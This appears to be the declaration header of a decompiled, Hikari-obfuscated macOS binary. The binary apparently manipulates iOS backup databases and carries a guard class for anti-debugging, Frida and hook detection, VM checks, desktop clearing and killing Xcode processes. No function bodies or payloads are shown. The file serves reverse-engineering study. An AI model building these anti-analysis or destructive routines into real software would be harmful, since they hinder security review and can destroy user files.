/* This file was generated by the Hex-Rays decompiler version 9.2.0.250908.
Copyright (c) 2007-2021 Hex-Rays <[email protected]>
Detected compiler: GNU C++
*/
#include <defs.h>
//-------------------------------------------------------------------------
// Function declarations
id __cdecl -[Mbdb toBytes](Mbdb *self, SEL);
NSArray *__cdecl -[Mbdb records](Mbdb *self, SEL);
void __cdecl -[Mbdb setRecords:](Mbdb *self, SEL, id);
id __fastcall HikariFunctionWrapper(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_289(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_290(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_291(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_292(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_293(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_294(objc_class *a1);
id __fastcall HikariFunctionWrapper_295(objc_class *a1);
id __fastcall HikariFunctionWrapper_296(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_297(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_298(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_299(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_300(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_301(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_302(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_303(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_304(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_305(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_306(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_307(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_308(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_309(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_310(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_311(void *a1);
id __fastcall HikariFunctionWrapper_312(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_313(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_314(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_315(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_316(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_317(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_318(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_319(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_320(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_321(void *a1, const char *a2);
CFIndex __fastcall HikariFunctionWrapper_329(__SecTrust *a1);
CFIndex __fastcall HikariFunctionWrapper_330(__SecTrust *a1);
CFDataRef __fastcall HikariFunctionWrapper_331(__SecCertificate *a1);
CFDataRef __fastcall HikariFunctionWrapper_332(__SecCertificate *a1);
id __fastcall HikariFunctionWrapper_333(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_334(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_335(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_336(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_337(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_338(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_339(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_340(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_341(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_342(NSString *a1);
__int64 APIInit_A12();
__int64 __fastcall IsJson(id a1); // idb
NSDictionary *CheckVersion();
__int64 __fastcall SendAttempt(double a1);
id __fastcall HikariFunctionWrapper_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2002(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2003(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2004(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2005(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2006(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2007(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2008(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2009(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2010(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2011(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2012(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2013(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2014(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2015(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2016(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2017(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2018(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2019(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2020(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2021(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2022(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2025(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2026(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2027(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2028(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2029(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2030(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2031(void *a1, double a2);
id __fastcall HikariFunctionWrapper_2032(void *a1, double a2);
id __fastcall HikariFunctionWrapper_2033(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2034(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2035(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2036(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2037();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2038();
id __fastcall HikariFunctionWrapper_2039(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2040(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2041(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2042(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2043(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2044(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2045(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2046(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2047(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2048(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2049(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2050(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2051(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2052(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2053(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2054(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2055(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2056(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2057(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2058(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2059();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2060();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2061();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2062();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2063();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2064();
id __fastcall HikariFunctionWrapper_2065(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2066(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2067(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2068(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2069(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2070(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_2071(void *a1);
__int64 __fastcall HikariFunctionWrapper_2072(void *a1);
id __fastcall HikariFunctionWrapper_2073(void *a1, double a2);
id __fastcall HikariFunctionWrapper_2074(void *a1, double a2);
id __fastcall HikariFunctionWrapper_2075(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2076(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2077(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2078(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2079(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2080(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2081();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2082();
id __fastcall HikariFunctionWrapper_2083(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2084(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2085(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2086(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2087(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2088(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2089(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2090(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2091(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2092(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2093(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2094(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2095();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2096();
id __fastcall HikariFunctionWrapper_2097(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2098(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2099(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2100(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2101(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2102(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2103(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2104(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2105(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2106(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2108(void *, __int64);
id __fastcall HikariFunctionWrapper_2109(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2110(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2111();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2112();
id DesktopDir();
id TemporaryDir();
__int64 __fastcall removeFileOrDirectoryAtPath(id a1); // idb
__int64 __fastcall createDirectoryAtPath(id a1); // idb
id __fastcall HikariFunctionWrapper_2(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_245(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_246(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_247(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_248(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_249(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_250(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_251(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_252(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_253(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_254(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_255(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_256(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_257(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_258(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_259(void *a1, const char *a2);
ConcreteFile *__cdecl -[ConcreteFile initWithPath:domain:owner:group:contents:inode:](ConcreteFile *self, SEL, id, id, unsigned __int64, unsigned __int64, id, unsigned __int64);
ConcreteFile *__cdecl -[ConcreteFile initWithPath:domain:owner:group:contents:](ConcreteFile *self, SEL, id, id, unsigned __int64, unsigned __int64, id);
id __cdecl -[ConcreteFile toRecord](ConcreteFile *self, SEL);
NSData *__cdecl -[ConcreteFile contents](ConcreteFile *self, SEL);
void __cdecl -[ConcreteFile setContents:](ConcreteFile *self, SEL, id);
unsigned __int64 __cdecl -[ConcreteFile owner](ConcreteFile *self, SEL);
void __cdecl -[ConcreteFile setOwner:](ConcreteFile *self, SEL, unsigned __int64);
unsigned __int64 __cdecl -[ConcreteFile group](ConcreteFile *self, SEL);
void __cdecl -[ConcreteFile setGroup:](ConcreteFile *self, SEL, unsigned __int64);
unsigned __int64 __cdecl -[ConcreteFile inode](ConcreteFile *self, SEL);
void __cdecl -[ConcreteFile setInode:](ConcreteFile *self, SEL, unsigned __int64);
unsigned __int64 __cdecl -[ConcreteFile mode](ConcreteFile *self, SEL);
void __cdecl -[ConcreteFile setMode:](ConcreteFile *self, SEL, unsigned __int64);
void __cdecl -[ConcreteFile .cxx_destruct](ConcreteFile *self, SEL);
id __fastcall HikariFunctionWrapper_3(objc_super *a1, const char *a2);
id __fastcall HikariFunctionWrapper_320_1(objc_super *a1, const char *a2);
id __fastcall HikariFunctionWrapper_321_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_322_0(void *a1, const char *a2);
uint32_t HikariFunctionWrapper_323_0();
uint32_t HikariFunctionWrapper_324_0();
id __fastcall HikariFunctionWrapper_325_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_326_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_327_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_328_0(void *a1, const char *a2);
unsigned __int8 *__fastcall HikariFunctionWrapper_329_0(const void *a1, CC_LONG a2, unsigned __int8 *a3);
unsigned __int8 *__fastcall HikariFunctionWrapper_330_0(const void *a1, CC_LONG a2, unsigned __int8 *a3);
id __fastcall HikariFunctionWrapper_331_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_332_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_333_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_334_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_335_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_336_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_337_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_338_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_339_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_340_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_341_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_342_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_343(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_344(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_345(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_346(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_347(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_348(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_349(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_350(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_351(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_352(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_353(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_354(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_355(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_356(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_357(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_358(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_359(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_360(void *a1, const char *a2);
BackupFile *__cdecl -[BackupFile initWithPath:domain:](BackupFile *self, SEL, id, id);
id __cdecl -[BackupFile toRecord](BackupFile *self, SEL);
NSString *__cdecl -[BackupFile path](BackupFile *self, SEL);
void __cdecl -[BackupFile setPath:](BackupFile *self, SEL, id);
NSString *__cdecl -[BackupFile domain](BackupFile *self, SEL);
void __cdecl -[BackupFile setDomain:](BackupFile *self, SEL, id);
void __cdecl -[BackupFile .cxx_destruct](BackupFile *self, SEL);
char __cdecl +[AldazSecurityGuard isHackintosh](id, SEL);
void __cdecl +[AldazSecurityGuard logSecurityEvent:severity:](id, SEL, id, id);
void __cdecl +[AldazSecurityGuard disableConsoleOutput](id, SEL);
__int64 clearDesktop();
void __cdecl +[AldazSecurityGuard antiDebuggingProtection](id, SEL);
void __cdecl +[AldazSecurityGuard checkRuntimeMethodTampering](id, SEL);
char __cdecl +[AldazSecurityGuard checkFridaServerRunning](id, SEL);
void __cdecl +[AldazSecurityGuard checkDYLDHijacking](id, SEL);
void __cdecl +[AldazSecurityGuard checkLoadedLibraries](id, SEL);
void __cdecl +[AldazSecurityGuard checkSandboxOrVM](id, SEL);
char __cdecl +[AldazSecurityGuard ownerPathLooksTrusted:](id, SEL, const char *);
void __cdecl +[AldazSecurityGuard handleDetectedHook:](id, SEL, id);
void __cdecl +[AldazSecurityGuard checkCriticalObjCMethodHooks](id, SEL);
void __cdecl +[AldazSecurityGuard checkMobileDeviceFunctionHooks](id, SEL);
void __cdecl +[AldazSecurityGuard checkObjCHooks](id, SEL);
void __cdecl +[AldazSecurityGuard checkLibcFunctionHooks](id, SEL);
void __cdecl +[AldazSecurityGuard DumpDyldAndSymbolOwners](id, SEL);
id __cdecl +[AldazSecurityGuard sha256OfMemory:length:](id, SEL, const void *, unsigned __int64);
void __cdecl +[AldazSecurityGuard checkSymbolHash:expected:](id, SEL, const char *, id);
void __cdecl +[AldazSecurityGuard registerDyldWatcher](id, SEL);
void __fastcall image_added_callback(const mach_header *a1);
void __cdecl +[AldazSecurityGuard runAllSecurityChecks](id, SEL);
void __cdecl +[AldazSecurityGuard terminateXcodeProcessesExcludingXcodeAndSelf](id, SEL);
id __fastcall HikariFunctionWrapper_4(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2619(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2620(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2621(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2622(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2623(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2624(void *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2625(void *a1, void *a2);
id __fastcall HikariFunctionWrapper_2626(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2627(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2628(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2629(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2630(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2631(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2632(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2633(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2634(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2635(void *a1, const char *a2);
pid_t HikariFunctionWrapper_2636();
pid_t HikariFunctionWrapper_2637();
int __fastcall HikariFunctionWrapper_2638(FILE *a1);
int __fastcall HikariFunctionWrapper_2639(FILE *a1);
id __fastcall HikariFunctionWrapper_2640(void *a1);
id __fastcall HikariFunctionWrapper_2641(void *a1);
id __fastcall HikariFunctionWrapper_2642(void *a1);
id __fastcall HikariFunctionWrapper_2643(void *a1);
pid_t HikariFunctionWrapper_2644();
pid_t HikariFunctionWrapper_2645();
int __fastcall HikariFunctionWrapper_2646(const char *a1, int a2);
int __fastcall HikariFunctionWrapper_2647(const char *a1, int a2);
int __fastcall HikariFunctionWrapper_2648(FILE *a1);
int __fastcall HikariFunctionWrapper_2649(FILE *a1);
int __fastcall HikariFunctionWrapper_2650(int a1, int a2);
int __fastcall HikariFunctionWrapper_2651(int a1, int a2);
int __fastcall HikariFunctionWrapper_2652(int a1);
int __fastcall HikariFunctionWrapper_2653(int a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2654(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2655(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2656(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2657(void *a1);
id __fastcall HikariFunctionWrapper_2658(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2659(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2660(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2661(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2662(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2663(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2664(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2665(void *a1, const char *a2);
int __fastcall HikariFunctionWrapper_2666(int a1, pid_t a2, char *a3, int a4);
int __fastcall HikariFunctionWrapper_2667(int a1, pid_t a2, char *a3, int a4);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2668(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2669(void *a1, const char *a2);
Method __fastcall HikariFunctionWrapper_2670(objc_class *a1, const char *a2);
Method __fastcall HikariFunctionWrapper_2671(objc_class *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2672(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2673(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2674(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2675(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2676(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2677(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2678();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2679();
int __fastcall HikariFunctionWrapper_2680(const void *a1, Dl_info *a2);
int __fastcall HikariFunctionWrapper_2681(const void *a1, Dl_info *a2);
id __fastcall HikariFunctionWrapper_2682(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2683(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2684(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2685(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2686(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2687(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2688(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2689(void *a1, const char *a2);
int __fastcall HikariFunctionWrapper_2690(FILE *a1);
int __fastcall HikariFunctionWrapper_2691(FILE *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2692(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2693(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2694(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2695(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2696(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2697(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2698(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2699(void *a1, const char *a2);
FILE *__fastcall HikariFunctionWrapper_2700(const char *a1, const char *a2);
FILE *__fastcall HikariFunctionWrapper_2701(const char *a1, const char *a2);
char *__fastcall HikariFunctionWrapper_2702(char *a1, int a2, FILE *a3);
char *__fastcall HikariFunctionWrapper_2703(char *a1, int a2, FILE *a3);
char *__fastcall HikariFunctionWrapper_2704(char *a1, const char *a2);
char *__fastcall HikariFunctionWrapper_2705(char *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2706(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2707(void *a1, const char *a2);
int __fastcall HikariFunctionWrapper_2708(FILE *a1);
int __fastcall HikariFunctionWrapper_2709(FILE *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2710(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2711(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2712(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2713(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2714(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2715(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2716(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2717(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2718(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2719(void *a1, const char *a2);
FILE *__fastcall HikariFunctionWrapper_2720(const char *a1, const char *a2);
FILE *__fastcall HikariFunctionWrapper_2721(const char *a1, const char *a2);
char *__fastcall HikariFunctionWrapper_2722(char *a1, const char *a2);
char *__fastcall HikariFunctionWrapper_2723(char *a1, const char *a2);
int __fastcall HikariFunctionWrapper_2724(FILE *a1);
int __fastcall HikariFunctionWrapper_2725(FILE *a1);
int __fastcall HikariFunctionWrapper_2726(FILE *a1);
int __fastcall HikariFunctionWrapper_2727(FILE *a1);
id __fastcall HikariFunctionWrapper_2728(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2729(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2730(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2731(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2732(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2733(void *a1, const char *a2);
